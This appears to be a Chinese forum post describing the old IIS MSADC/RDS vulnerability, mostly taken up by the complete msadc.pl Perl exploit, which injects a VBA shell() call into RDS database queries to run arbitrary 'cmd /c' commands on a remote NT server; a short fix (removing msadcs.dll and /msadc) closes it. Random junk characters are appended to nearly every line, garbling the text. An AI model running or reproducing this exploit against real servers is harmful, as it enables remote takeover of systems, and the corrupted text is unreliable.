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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ) |t;nK,  
*sJT\J$D[  
涉及程序: gWk?g^KJL  
Microsoft NT server IL0e:-@!0  
hw 5NHZ I'  
描述: z:Y Z]   
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 EKgY  
r!+..c  
详细: QT8GP?F  
如果你没有时间读详细内容的话,就删除: C4[)yJ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll c/6  
有关的安全问题就没有了。 ;{L~|q J  
<6.aSOS  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 8(3n v[  
V><,.p8  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 @5RbMf{  
关于利用ODBC远程漏洞的描述,请参看: -s3q(SH  
Wg5<@=x!G  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {<}9r6k;f  
#Vy8<Vy&w  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 !+FrU'^  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Q6 oM$qiM  
0-P,zkK_v  
这里不再论述。 u+7S/9q8  
REg&[e+%  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: n[K LY!  
bmzY^ %a  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset | V: 9 ][\  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! :kMF.9U:  
PtTL tiE~  
}/bxe0px  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 1a gNwFd~  
)5[OG7/g  
#!perl c 80Ffq  
# mOC<a7#  
# MSADC/RDS 'usage' (aka exploit) script (-D^_*f  
# F$sDmk#  
# by rain.forest.puppy +^<s'  
# H:#sf][&,L  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me !kxJ&VmeF  
# beta test and find errors! P @Jo[J<  
%O|+` "  
use Socket; use Getopt::Std; 0SV<Pl^  
getopts("e:vd:h:XR", \%args); eF"k"Ckt'  
3<x1s2U  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; B"Ma<"HU  
ey]WoUZ  
if (!defined $args{h} && !defined $args{R}) { <*Gd0 v%  
print qq~ a$=He   
Usage: msadc.pl -h <host> { -d <delay> -X -v } ^qY?x7mx1  
-h <host> = host you want to scan (ip or domain) eH_< <Xh!v  
-d <seconds> = delay between calls, default 1 second :Ahw{z`H#  
-X = dump Index Server path table, if available J))U YJO  
-v = verbose fi~jT"_CI  
-e = external dictionary file for step 5 ,W|cyQ  
$L4h'(s  
Or a -R will resume a command session rT|wZz9$@  
?CD[jX}!  
~; exit;} e?7Oom  
cC*H.N  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; it$w.v+W7V  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} } *jmW P  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} %a:>3! +  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); hHk9O?  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} $KVCEe!X  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } `%/w0,0  
G,}"}v:  
if (!defined $args{R}){ $ret = &has_msadc; Y 8n*o3jM  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 9i46u20  
Z8ds`KZM  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ?j;,:n   
. "cmd /c "; F.{$HJ  
$in=<STDIN>; chomp $in; msVi3`q~  
$command="cmd /c " . $in ; {%oxzdPc  
D JZ$M  
if (defined $args{R}) {&load; exit;} sOO_J!bblP  
Aw]kQ\P&  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ES\=MO5a7  
&try_btcustmr; S}P rgw/  
mb>8=hMg  
print "\nStep 2: Trying to make our own DSN..."; | Rj"}SC  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; )A$xt)}P!{  
\ZtKaEXnx  
print "\nStep 3: Trying known DSNs..."; af'gk&%  
&known_dsn; w|1O-k`  
Mi} .  
print "\nStep 4: Trying known .mdbs..."; n%6ba77  
&known_mdb; 4-?zW  
^kK% 8 u  
if (defined $args{e}){ OH13@k  
print "\nStep 5: Trying dictionary of DSN names..."; fXe$Ug|5a  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } qg2Vmj<H  
K: |-s4=  
print "Sorry Charley...maybe next time?\n"; u` ;P^t5  
exit; d"tR ?j  
FeNNzV=  
############################################################################## A">R-1R  
>9NC2%61S  
sub sendraw { # ripped and modded from whisker P  Ij  
sleep($delay); # it's a DoS on the server! At least on mine... \hWac%#  
my ($pstr)=@_; Q*hXFayx  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || eQwvp`@"  
die("Socket problems\n"); &O5O@3:7]  
if(connect(S,pack "SnA4x8",2,80,$target)){ J@OK"%12  
select(S); $|=1; KE6 XNG3  
print $pstr; my @in=<S>; 26;Gt8  
select(STDOUT); close(S); 6rWb2b  
return @in; PQ{5*}$N  
} else { die("Can't connect...\n"); }} N@Q_5t0bk  
uvAJJIae'  
############################################################################## <Uc  
lL&U ioo}D  
sub make_header { # make the HTTP request pqTaN=R8  
my $msadc=<<EOT g;Zy3   
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 -Jf}3$Ra  
User-Agent: ACTIVEDATA dvM%" k  
Host: $ip ,pY:kQ  
Content-Length: $clen ]:;dJc'  
Connection: Keep-Alive wD:2sri  
cwOa"]t}  
ADCClientVersion:01.06 #q>\6} )  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 o7 0] F  
=ym<yI<  
--!ADM!ROX!YOUR!WORLD! GKKDO+A=!  
Content-Type: application/x-varg sm;kg=  
Content-Length: $reqlen =\ k:]  
i5=~tS  
EOT |MOz> 1<a  
; $msadc=~s/\n/\r\n/g; ddN G :  
return $msadc;} :>/6:c?atG  
CYlS8j  
############################################################################## LJom+PxF$x  
*<[zG7+&[  
sub make_req { # make the RDS request t 4VeXp6  
my ($switch, $p1, $p2)=@_; 1=,y +Xpw  
my $req=""; my $t1, $t2, $query, $dsn; 7#c4.9b?  
N}1yDN  
if ($switch==1){ # this is the btcustmr.mdb query . :>e"D  
$query="Select * from Customers where City=" . make_shell(); #G_'5{V  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . T|0+o+i  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 8.>himL  
]G D` f  
elsif ($switch==2){ # this is general make table query \ @[Q3.VX  
$query="create table AZZ (B int, C varchar(10))"; |fW_9={1kQ  
$dsn="$p1";} kv6nVlI)B  
K- $,:28  
elsif ($switch==3){ # this is general exploit table query &YcOmI/MM  
$query="select * from AZZ where C=" . make_shell(); N:okt)q:%  
$dsn="$p1";} cRuN;  
zWv0y8[d  
elsif ($switch==4){ # attempt to hork file info from index server yn"4qC#Z  
$query="select path from scope()"; tj*/%G{Y  
$dsn="Provider=MSIDXS;";} +KD7Di91<K  
;4(}e{  
elsif ($switch==5){ # bad query Pjn{3/*wi  
$query="select"; j@w1S[vt  
$dsn="$p1";} :`E p#[Wvo  
d S'J@e=#  
$t1= make_unicode($query); l^$'6q"  
$t2= make_unicode($dsn); $:\`E 56\  
$req = "\x02\x00\x03\x00"; 5KDCmw  
$req.= "\x08\x00" . pack ("S1", length($t1)); oH!O{pQK}  
$req.= "\x00\x00" . $t1 ; ,QpFVlPU  
$req.= "\x08\x00" . pack ("S1", length($t2)); gWoUE7.3`  
$req.= "\x00\x00" . $t2 ; ~ rQ,%dH  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ]31=8+D  
return $req;} Y9>92#aME  
'n ^,lXWB  
############################################################################## =*I|z+  
8 ]exsn Z  
sub make_shell { # this makes the shell() statement ,Si{]y  
return "'|shell(\"$command\")|'";} Z1:%Aq xP  
.Zj`_5C  
############################################################################## {y a .  
pkae91  
sub make_unicode { # quick little function to convert to unicode ji ./m8(  
my ($in)=@_; my $out; G~v:@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ~;a \S3  
return $out;} HsUh5;  
#r]Z2Y]  
############################################################################## .)_2AoT7[  
~#jiX6<I  
sub rdo_success { # checks for RDO return success (this is kludge) 7Xu#|k  
my (@in) = @_; my $base=content_start(@in); zA8@'`Id  
if($in[$base]=~/multipart\/mixed/){ wpN3-D  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} fISK3t/=C  
return 0;} _ilitwRN3  
fU?#^Lg  
############################################################################## lgS7;  
1YJ?Y  
sub make_dsn { # this makes a DSN for us biU_ImJ>0  
my @drives=("c","d","e","f"); |Tc4a4jS  
print "\nMaking DSN: "; zL9~gJ  
foreach $drive (@drives) { $+_1F`  
print "$drive: "; =>B"j`oR  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . w$AR  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Eu:/U*j  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); C}pm>(F~  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; <R;wa@a>  
return 0 if $2 eq "404"; # not found/doesn't exist e,VF;Br  
if($2 eq "200") { ]X77?Zz9  
foreach $line (@results) { -{k8^o7$  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} IQ~qiFCf  
} return 0;} kY'Wf`y(  
*d;TpwUI  
############################################################################## vdAd@Z~\  
Z\EA!Cs3  
sub verify_exists { pCrm `hy(  
my ($page)=@_; Vub6wb<G[  
my @results=sendraw("GET $page HTTP/1.0\n\n"); +(92}~RK  
return $results[0];} A8{ xZsH  
LUId<We  
############################################################################## )LIn1o_,  
 +:-xV  
sub try_btcustmr { )J> dGIb  
my @drives=("c","d","e","f"); 1=C12  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 2/fol TR7  
U|xHy+N  
foreach $dir (@dirs) { D|*w6p("z  
print "$dir -> "; # fun status so you can see progress L;u5  
foreach $drive (@drives) { 5;HGS{`  
print "$drive: "; # ditto |[Fb&x  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; hN6wp_  
$reqlenlen=length( "$reqlen" ); Vjv6d&Q  
$clen= 206 + $reqlenlen + $reqlen; `Ucj_6&Tqs  
D@gC(&U/6  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); k|?[EWIi^  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} cI@qt>&  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} VGD~) z57  
*oz#YGNm  
############################################################################## 2#R$-* ;#  
a-Y6ghs  
sub odbc_error { un_NBv}  
my (@in)=@_; my $base; ]!"w?-h Si  
my $base = content_start(@in); rFpYlMct  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this @4T   
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ?x&}ammid  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jIT|Kk&]  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qe{;EH*  
return $in[$base+4].$in[$base+5].$in[$base+6];} 8I RKCuV  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; n|&=6hiI  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . X5[vQ3^  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} anbw\yh8  
\f? K74  
############################################################################## `| ?<KF164  
<I34@;R c  
sub verbose { [B;okW  
my ($in)=@_; t-KicLr  
return if !$verbose; _$c o Y  
print STDOUT "\n$in\n";} .,xyE--;d  
3kC|y[.&  
############################################################################## x4c|/}\)*  
aYT!xdCI  
sub save { ~LpkA`Hn!  
my ($p1, $p2, $p3, $p4)=@_; \DS*G7.A+&  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; g:)iEw>a  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; LX7P?j  
close OUT;} |~ fI=1;;x  
qS @3:R  
############################################################################## tm.60udbo  
6`Tx meIP  
sub load { 3= sBe HL  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; k+-?b(z)$  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); {c9 f v H  
@p=<IN>; close(IN); #J&3Zds  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 5tpC$4m  
$target= inet_aton($ip) || die("inet_aton problems"); 2I_ yUt-  
print "Resuming to $ip ..."; 'hU5]}=  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; )~=8Ssu  
if($p[1]==1) { ~nU9j"$  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 2K};-}eW  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; <hCO-r#  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); n]$rLm%^  
if (rdo_success(@results)){print "Success!\n";} VtI`Qc jc  
else { print "failed\n"; verbose(odbc_error(@results));}} [(x*!,=  
elsif ($p[1]==3){ 4h|*r !  
if(run_query("$p[3]")){ g]: [^p  
print "Success!\n";} else { print "failed\n"; }} hQ<7k'V  
elsif ($p[1]==4){ =bC'>qw}  
if(run_query($drvst . "$p[3]")){ /7#e  
print "Success!\n"; } else { print "failed\n"; }} T^|k`  
exit;} AaA!U!B  
"NLuAB. P  
############################################################################## Hq:: F?  
o}:x-Y  
sub create_table { fm-m?=  
my ($in)=@_; IxCesh  
$reqlen=length( make_req(2,$in,"") ) - 28; d-1D:Hs?  
$reqlenlen=length( "$reqlen" ); Z3{1`"\<K  
$clen= 206 + $reqlenlen + $reqlen; XJeWhk3R9  
my @results=sendraw(make_header() . make_req(2,$in,"")); I*.nwV<  
return 1 if rdo_success(@results); :Q("  
my $temp= odbc_error(@results); verbose($temp); yPtE5"(o  
return 1 if $temp=~/Table 'AZZ' already exists/; uM1$3<  
return 0;} #W)m({}  
/-FV1G,h  
############################################################################## |Qcz5M90e  
9&f+I@K  
sub known_dsn { CdRJ@Lf  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ?s$d("~  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", GxD`M2  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", #;ObugY,  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); {f-O~P<Z4  
W%>T{}4  
foreach $dSn (@dsns) { mA$y$73=T  
print "."; ?j/FYi  
next if (!is_access("DSN=$dSn")); |8CxMs  
if(create_table("DSN=$dSn")){ %Hd[,duwO  
print "$dSn successful\n"; \;~Nj#  
if(run_query("DSN=$dSn")){ LEPLoF3,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { *4%pXm;  
print "Something's borked. Use verbose next time\n";}}} print "\n";} E Ou[X'gLr  
) dk|S\  
############################################################################## 9!X3Cv|+L  
uOzoE_i  
sub is_access { G8+&fn6  
my ($in)=@_; !xck ~EAS  
$reqlen=length( make_req(5,$in,"") ) - 28; Z[*unIk  
$reqlenlen=length( "$reqlen" ); lH=|Qu  
$clen= 206 + $reqlenlen + $reqlen; p2 1|  
my @results=sendraw(make_header() . make_req(5,$in,"")); <{k{Coy  
my $temp= odbc_error(@results); 3f^Pr  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Vu.=,G  
return 0;} vq(#Ih2  
L#K`F8Wi=  
############################################################################## <">epbV6  
C3W4:kbau  
sub run_query { kR97 )}Y  
my ($in)=@_; dX/7n=  
$reqlen=length( make_req(3,$in,"") ) - 28; zJy=1r  
$reqlenlen=length( "$reqlen" ); YdO*5Gb6  
$clen= 206 + $reqlenlen + $reqlen; tWy.Gz\  
my @results=sendraw(make_header() . make_req(3,$in,"")); pt.V^a  
return 1 if rdo_success(@results); [nig^8  
my $temp= odbc_error(@results); verbose($temp); ?} 8r h%  
return 0;} Jg=!GU/::  
"!zJQl@  
############################################################################## [yN+(^ i  
./XX  
sub known_mdb { SZe55mK`  
my @drives=("c","d","e","f","g"); ;@qS#7SRB  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _"Bj`5S  
my $dir, $drive, $mdb; k/{WlLN  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; wX}p6yyN  
\:{K",2  
# this is sparse, because I don't know of many YOLzCnI4  
my @sysmdbs=( "\\catroot\\icatalog.mdb", uT, i&  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", LcvczS T  
"\\system32\\certmdb.mdb", C`_/aR6  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% i,ZEUdd*_  
2k<#e2  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 7OmT^jV2  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ds!n l1  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", B;N<{Gb  
"\\cfusion\\cfapps\\security\\realm_.mdb", ULz<P  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", bC:sd2s  
"\\cfusion\\database\\cfexamples.mdb", RKzty=j4  
"\\cfusion\\database\\cfsnippets.mdb", [pTdeg;QE  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", -W^{)%4g  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", $]_SPu  
"\\cfusion\\brighttiger\\database\\cleam.mdb", rwXpB<@l@  
"\\cfusion\\database\\smpolicy.mdb", 03 gbcNo  
"\\cfusion\\database\cypress.mdb", 50 Gr\  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", '(B -{}l  
"\\website\\cgi-win\\dbsample.mdb", ~wuCa!!A  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", EQlb:;j  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" \54B  
); #these are just &Iy5@8  
foreach $drive (@drives) { RBf#5VjOG!  
foreach $dir (@dirs){ FCNYfjB%  
foreach $mdb (@sysmdbs) { 5n2!Y\  
print "."; C lf;+G0  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ! 1I# L!9  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; )  M0(vog  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Q /?`);  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; &v .S_Ym  
} else { print "Something's borked. Use verbose next time\n"; }}}}} C5ILVQ  
1z7+:~;l  
foreach $drive (@drives) { ^ 3 4Ng  
foreach $mdb (@mdbs) { *:TwO=)  
print "."; 4!{lySW  
if(create_table($drv . $drive . $dir . $mdb)){ ;iX~3[]  
print "\n" . $drive . $dir . $mdb . " successful\n"; zs]ubJC@  
if(run_query($drv . $drive . $dir . $mdb)){ *$%~/Q@]  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; *d=}HO/  
} else { print "Something's borked. Use verbose next time\n"; }}}} ^yB]_*WJ  
} rd0Fd+t/  
vVo'f|fW  
############################################################################## 3?V'O6  
G@ ot^n3  
sub hork_idx { JR]elRR  
print "\nAttempting to dump Index Server tables...\n"; 0=HB!{ @  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; %HpPTjAW  
$reqlen=length( make_req(4,"","") ) - 28; KDEyVYO:  
$reqlenlen=length( "$reqlen" ); n~yHt/T  
$clen= 206 + $reqlenlen + $reqlen; cy,6^d  
my @results=sendraw2(make_header() . make_req(4,"","")); n(Nu  
if (rdo_success(@results)){ :1qLRr  
my $max=@results; my $c; my %d; {2:baoG-  
for($c=19; $c<$max; $c++){ ?aTH<  
$results[$c]=~s/\x00//g; nD/B :0'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; c\o_U9=n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; w~Q\:<x&~Z  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Sc{&h8KMTb  
$d{"$1$2"}="";} DDkN3\w  
foreach $c (keys %d){ print "$c\n"; } 1(Vv-bq$  
} else {print "Index server doesn't seem to be installed.\n"; }} I= :yfW  
,H6P%  
############################################################################## j%` C  
@uyQH c,V  
sub dsn_dict { &q|vvF<G  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); W[J2>`k9  
while(<IN>){ 0-uj0"r`  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; wry`2_c  
next if (!is_access("DSN=$dSn")); ."dT6uE  
if(create_table("DSN=$dSn")){ OAq-(_H  
print "$dSn successful\n"; ]_B<K5  
if(run_query("DSN=$dSn")){ %%X/gvaJ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { yWRIh*>nE  
print "Something's borked. Use verbose next time\n";}}} YM;ro5_KF  
print "\n"; close(IN);} c`3`}&g#  
BTr oe=R  
############################################################################## bTeuOpp  
I(VqtC:K.  
sub sendraw2 { # ripped and modded from whisker axC{azo|  
sleep($delay); # it's a DoS on the server! At least on mine... hJ8&OCR }  
my ($pstr)=@_; 7hn[i,?` H  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 7#"NKxb  
die("Socket problems\n"); :|5 m"X\  
if(connect(S,pack "SnA4x8",2,80,$target)){ cu}(\a  
print "Connected. Getting data"; UUWRC1EtI  
open(OUT,">raw.out"); my @in; >b\|%=(x!*  
select(S); $|=1; print $pstr; I_f%%N%  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Zex~ $r  
close(OUT); select(STDOUT); close(S); return @in; <#BK(W~$  
} else { die("Can't connect...\n"); }} ^n~Kr1}nj  
*<cRQfA1  
############################################################################## am/}V%^  
.a2R2~35  
sub content_start { # this will take in the server headers .&b^6$dC  
my (@in)=@_; my $c; Hz,Gn9:p  
for ($c=1;$c<500;$c++) { GtmoFSZ  
if($in[$c] =~/^\x0d\x0a/){ ?84f\<"  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ~H\P0G5GA  
else { return $c+1; }}} ]vcT2lr]  
return -1;} # it should never get here actually m $[:J  
? 3DFm  
############################################################################## 5u9lKno  
c(Y~5A{TXO  
sub funky { m %+'St|qr  
my (@in)=@_; my $error=odbc_error(@in); qh>An;:u  
if($error=~/ADO could not find the specified provider/){ j^#\km B  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; +/$&P3  
exit;} ^-?^iWQ G  
if($error=~/A Handler is required/){ (BH<\&yHE  
print "\nServer has custom handler filters (they most likely are patched)\n"; /z^v% l  
exit;} th*!EFA^o  
if($error=~/specified Handler has denied Access/){ vh2/d.MO  
print "\nServer has custom handler filters (they most likely are patched)\n"; tlO=>  
exit;}} [4qvQ7Y !  
5D/Td#T04  
############################################################################## 4S>#>(n7=  
Q3+%8zZI  
sub has_msadc { zhow\l2t}  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); CaCApL  
my $base=content_start(@results); `Qb!W45  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); )2EvZn  
return 0;} hH>a{7V   
#QlxEs#%  
######################## 6E_~8oEl  
]+pE1-p\  
?8grK  
解决方案: :twp95{R1  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ^0_>  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 JK{2 hr_a  
C-49u<; ,  
拿出来充数 哈哈
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